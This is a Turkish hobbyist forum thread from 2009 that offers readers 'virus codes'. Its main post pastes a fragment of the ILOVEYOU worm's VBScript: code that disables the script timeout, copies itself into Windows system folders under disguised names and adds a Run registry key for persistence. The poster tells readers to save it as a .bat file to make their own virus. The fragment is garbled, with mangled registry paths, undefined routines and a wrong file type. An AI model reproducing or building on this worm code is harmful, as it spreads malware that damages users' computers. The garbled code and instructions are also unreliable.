Real Felaket

Web Sitemiden Yararlana Bilmek İçin Lütfen Üye Olunuz
Real Felaket

    Arkadaslar cok etkılı vırus kodları nasıl bır vırus yapılır ınceleyın

    Paylaş
    avatar
    Fakelove
    G.K BAŞKANI
    G.K BAŞKANI

    Mesaj Sayısı : 145
    Kayıt tarihi : 17/06/09
    Yaş : 27
    Nerden : Nereye

    Arkadaslar cok etkılı vırus kodları nasıl bır vırus yapılır ınceleyın

    Mesaj tarafından Fakelove Bir Paz Haz. 21, 2009 1:33 am

    BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PC'NİZDE SAKIN
    DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM
    HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR
    AŞAGIDA***.[


    rem delete -pcas(-vbe)
    On es error -pc
    On error Next Pc Hack
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"


    sımdı
    arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle
    yapacaksın not defterını acıyorsun buradakı kodları oraya
    yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune
    (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve
    masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız
    ılk vırus dosyası da budur...!!!
    avatar
    hephaistos
    TÜMGENERAL
    TÜMGENERAL

    Mesaj Sayısı : 10
    Kayıt tarihi : 21/06/09

    Geri: Arkadaslar cok etkılı vırus kodları nasıl bır vırus yapılır ınceleyın

    Mesaj tarafından hephaistos Bir Ptsi Haz. 22, 2009 12:36 am

    Paylasım için tesekkürler.
    Eğer merakınıza yenilip te dosyayı çalıştırırsanız PC niz in basına hersey gelebilir:D

      Forum Saati Salı Eyl. 26, 2017 12:21 am